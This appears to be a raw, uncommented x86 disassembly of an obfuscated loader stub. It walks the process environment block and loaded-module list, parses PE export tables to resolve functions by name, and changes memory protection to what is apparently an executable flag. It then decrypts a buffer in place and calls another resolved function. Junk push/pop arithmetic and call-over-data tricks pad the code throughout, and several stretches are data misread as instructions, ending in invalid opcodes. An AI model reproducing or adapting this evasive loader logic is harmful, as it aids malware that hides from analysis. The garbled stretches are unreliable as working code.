mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x6c665f
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x6c642a
mov dword [ebp - 0x710], 0
push edi
push esi
add esp, 4
or edi, 0x10f89
sub edi, 0x17593
jmp 0x6c6682
pop edi
push ecx
push edi
add esp, 4
sub ecx, 0x15ecf
add ecx, 0x9832
sub ecx, 0x1795f
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x6c66e5
push edx
push ecx
add esp, 4
add edx, 0xe230
xor edx, 0x652a
pop edx
push edi
push eax
add esp, 4
jmp 0x6c66c0
call 0x6c66cc
add byte [edi + 0x46], al
cmp ecx, dword [edx + 0x34]
xor eax, 0x8104c483
out dx, eax
cmp al, 0x9a
add byte [eax], al
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x6c720d
push ecx
push ebx
add esp, 4
call 0x6c66f7
add byte [ecx + 0x3e], al
dec esi
dec ebx
xor edi, dword [ecx]
xor al, 0x83
les eax, [ecx + ebx*2]
push ecx
or ecx, 0xc8e6
sub ecx, 0x66dc
jmp 0x6c6710
add ecx, 0x8122
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x6c6756
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x6c6a47
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x6c677e
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x6c6a47
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x6c67b0
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x6c6a47
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x6c67d5
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x6c6a47
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x6c682f
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x6c6a3b
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x6c689f
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x6c6951
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x6c6951
push edx
push edi
add esp, 4
call 0x6c68e0
add byte [ebp + 0x42], al
xor eax, dword [ebp + 0x3d]
inc esi
inc eax
xor al, 0x47
add esp, 4
pop edx
push edx
push edi
add esp, 4
xor edx, 0x126c8
xor edx, 0xd350
pop edx
push ecx
or ecx, 0xfce9
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x6c6943
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x6c694a
jmp 0x6c6890
jmp 0x6c6951
push eax
or eax, 0x13a7f
jmp 0x6c695f
call 0x6c696d
add byte [edi], dh
inc ecx
cmp byte [ebx + 0x48], cl
xor bh, byte [eax]
add esp, 4
sub eax, 0xe3af
pop eax
push eax
push edi
add esp, 4
sub eax, 0x113cf
pop eax
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x6c69b0
mov dword [ebp - 0xc5c], 0
jmp 0x6c6a1f
push edi
jmp 0x6c69b7
call 0x6c69c6
add byte [edx], bh
inc ebx
cmp dword [ebx + eax*2], esi
inc ebp
cmp byte [0x4c48348], dh
pop edi
push ecx
or ecx, 0xb57a
pop ecx
push eax
xor eax, 0x106b2
jmp 0x6c69e1
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x6c6a15
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x6c6a1f
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x6c6a36
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x6c6a47
jmp 0x6c6820
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x6c6b22
push eax
call 0x6c6a62
add byte [edx + esi], bh
dec ebx
cmp eax, 0xc4834b4c
add al, 0x81
enter 0xffffffffffff9611, 0
add byte [ecx + 0x12a37e0], al
add byte [ecx + 0xcda1c0], al
add byte [eax + 0x53], bl
push ecx
add esp, 4
jmp 0x6c6a85
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edi
call 0x6c6aa2
add byte [ebx + 0x4a], al
cmp eax, 0x393e3f4c
cmp byte [ebx + 0x525f04c4], al
push edx
add esp, 4
and edx, 0x5908
pop edx
push edx
push ebx
add esp, 4
jmp 0x6c6abd
sub edx, 0xe42c
pop edx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x6c6b22
push edx
and edx, 0x11f0c
jmp 0x6c6aee
and edx, 0xadf1
pop edx
push esi
push eax
add esp, 4
xor esi, 0xedf7
call 0x6c6b0f
add byte [edx], bh
inc eax
dec ebx
dec edx
cmp eax, 0x47434549
add esp, 4
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x6c720d
push ebx
push ebx
add esp, 4
or ebx, 0x2edd
pop ebx
push ecx
push ebx
add esp, 4
call 0x6c6b41
add byte [esp + ecx*2 + 0x3a], al
inc ebp
xor cl, byte [ebp + 0x4c]
dec esi
add esp, 4
jmp 0x6c6b4a
pop ecx
push ecx
jmp 0x6c6b53
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
and edi, 0x873b
call 0x6c6b90
add byte [edx + ecx*2], bh
xor al, 0x4c
dec eax
dec edi
aaa
add esp, 4
add edi, 0x60e8
pop edi
push ecx
sub ecx, 0x1d49
add ecx, 0xa25
and ecx, 0x9de1
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x6c6bc6
mov dword [ebp - 0x2a8], 0
jmp 0x6c6e6d
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push esi
and esi, 0x13543
xor esi, 0x125c6
and esi, 0xe53f
jmp 0x6c6bf0
pop esi
push edx
jmp 0x6c6bf7
pop edx
push edi
push eax
add esp, 4
xor edi, 0x1771e
xor edi, 0x11e54
pop edi
cmp dword [ebp - 0xc68], 0
jne 0x6c6c22
mov dword [ebp - 0x2a8], 0
jmp 0x6c6e6d
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
and eax, 0x147af
add eax, 0x14799
or eax, 0x5970
pop eax
push ebx
push edi
add esp, 4
add ebx, 0xd029
or ebx, 0x5530
and ebx, 0x11997
xor ebx, 0xaedf
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ecx
push ebx
add esp, 4
jmp 0x6c6c96
sub ecx, 0xb9ff
call 0x6c6caa
add byte [eax], bh
dec edi
dec edx
aaa
dec esi
cmp dword [eax], edi
inc ebp
add esp, 4
sub ecx, 0xbd9
pop ecx
push ebx
xor ebx, 0xf9a1
pop ebx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push edx
add esp, 4
or ebx, 0xe9bd
xor ebx, 0xb8d9
add ebx, 0x13b07
or ebx, 0x17296
pop ebx
push edx
push edx
add esp, 4
or edx, 0x10289
pop edx
push ebx
or ebx, 0x2462
pop ebx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x6c6d62
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x6c6dbc
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x6c6c8a
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x6c6c8a
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x6c6da6
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x6c6db0
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x6c6e05
push edx
add edx, 0xb7a0
and edx, 0x1367a
pop edx
push ebx
push edi
add esp, 4
add ebx, 0x96e6
call 0x6c6ded
add byte [ebx], dh
dec esp
inc edx
xor eax, 0x4c414c4d
xor eax, 0x8104c483
ret
push edx
push esi
add esp, 4
and edx, 0x16ede
pop edx
push ecx
call 0x6c6e21
add byte [ebx + 0x41], cl
inc edi
cmp byte [ebx], bh
cmp al, byte [ebp + eax*2 + 0x44]
add esp, 4
sub ecx, 0xdfe0
and ecx, 0xc786
add ecx, 0x5099
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x6c6e63
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x6c6c2e
mov dword [ebp - 0x2a8], 0
push esi
and esi, 0xaede
xor esi, 0x16dbe
call 0x6c6e88
add byte [ebx], bh
cmp eax, dword [eax + 0x45]
cmp dh, byte [esi]
inc ebx
aaa
add esp, 4
call 0x6c6e9b
add byte [eax + 0x43], cl
inc ebp
xor al, 0x46
inc edx
inc ebp
xor dl, byte [eax + 0x3e]
add esp, 4
pop esi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ecx
add ecx, 0x16b56
and ecx, 0xc4dc
add ecx, 0x7016
pop ecx
push esi
push edi
add esp, 4
jmp 0x6c6ed0
and esi, 0x11a0c
jmp 0x6c6edf
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x6c6f10
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x6c7201
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x6c6f38
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x6c7201
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x6c6f6a
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x6c7201
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x6c6f8f
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x6c7201
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x6c6fe9
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x6c71f5
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x6c7059
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x6c710b
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x6c710b
push eax
or eax, 0x40c1
pop eax
push ebx
push ecx
add esp, 4
or ebx, 0x1685f
or ebx, 0x1484e
call 0x6c70ae
add byte [edi + 0x44], al
cmp al, 0x4f
dec edi
cmp eax, dword [esi + 0x4c]
cmp dword [ebx - 0xc7efb3c], eax
mov edi, 0x5b0000d1
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x6c70fd
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x6c7104
jmp 0x6c704a
jmp 0x6c710b
push edi
push ecx
add esp, 4
and edi, 0x5c9b
sub edi, 0x25f1
pop edi
push eax
sub eax, 0x8f91
pop eax
push eax
xor eax, 0xfe92
pop eax
push esi
sub esi, 0xeb50
pop esi
push esi
xor esi, 0x1136
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x6c716a
mov dword [ebp - 0xc6c], 0
jmp 0x6c71d9
push edi
push edi
add esp, 4
xor edi, 0xbf3f
xor edi, 0x4328
or edi, 0x15b93
pop edi
push ebx
call 0x6c7192
add byte [edi + esi], bh
dec edx
dec ecx
inc edx
cmp dword [ebx + 0x49], eax
cmp eax, dword [ebx - 0x347efb3c]
lcall 0x8d8b, 0x5b00016b
aam 0xf8
invalid
cmp dword [ebp - 0xc6c], 0
jne 0x6c71f0
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x6c7201
jmp 0x6c6fda
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edi
push ecx
add esp, 4
sub edi, 0x9b0d
xor edi, 0x13848
and edi, 0x1c3d
pop edi
push edi
xor edi, 0xce03
sub edi, 0x3afa
pop edi
push edx
push eax
add esp, 4
or edx, 0x1169a
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x6c72b2
push ebx
push ebx
add esp, 4
or ebx, 0x11100
or ebx, 0x1426d
jmp 0x6c7284
call 0x6c7292
add byte [edx], bh
cmp byte [eax + 0x47], dl
cmp byte [esi], bh
aaa
cmp byte [ebx + 0x575b04c4], al
and edi, 0xcdba
pop edi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x6c72cf
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x6c732b
push edx
add edx, 0xdc30
pop edx
push esi
push ecx
add esp, 4
jmp 0x6c72ef
jmp 0x6c72f6
or esi, 0x2644
pop esi
push edx
push edi
add esp, 4
add edx, 0x1048
sub edx, 0x14f41
pop edx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x6c72c0
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x6c73a3
push ebx
jmp 0x6c7365
add ebx, 0xcf7a
jmp 0x6c7372
add ebx, 0x6620
pop ebx
push eax
and eax, 0x12bce
jmp 0x6c7388
add eax, 0xf39d
pop eax
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ebx
push ecx
add esp, 4
add ebx, 0x12a52
xor ebx, 0x1655f
pop ebx
push esi
push edi
add esp, 4
or esi, 0xcdab
jmp 0x6c73c6
ret
pop esi
push esi
or esi, 0x178ab
or esi, 0x1393c
pop esi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff07ff
pop ecx
pop ecx
pop esi
mov cl, bl
or ecx, dword [eax + 0x7f753f1]
pop es
mov cl, dh
mov cl, 0xc7
pop es
pop es
mov cl, bh
mov bl, byte [edi + 8]
pop es
mov cl, ch
insd dword es:[edi], dx
or byte [eax], 7
popal
push edi
mov bh, ah
cli
inc eax
pop es
pop es
mov bh, ch
ja 0x6c73a9
pop es
pop es
mov bh, dh
push 0xffffffffffffffb2
pop es
pop es
pop edi
sal dword [edx + 7], 7
pop es
insd dword es:[edi], dx
nop
pushfd
ret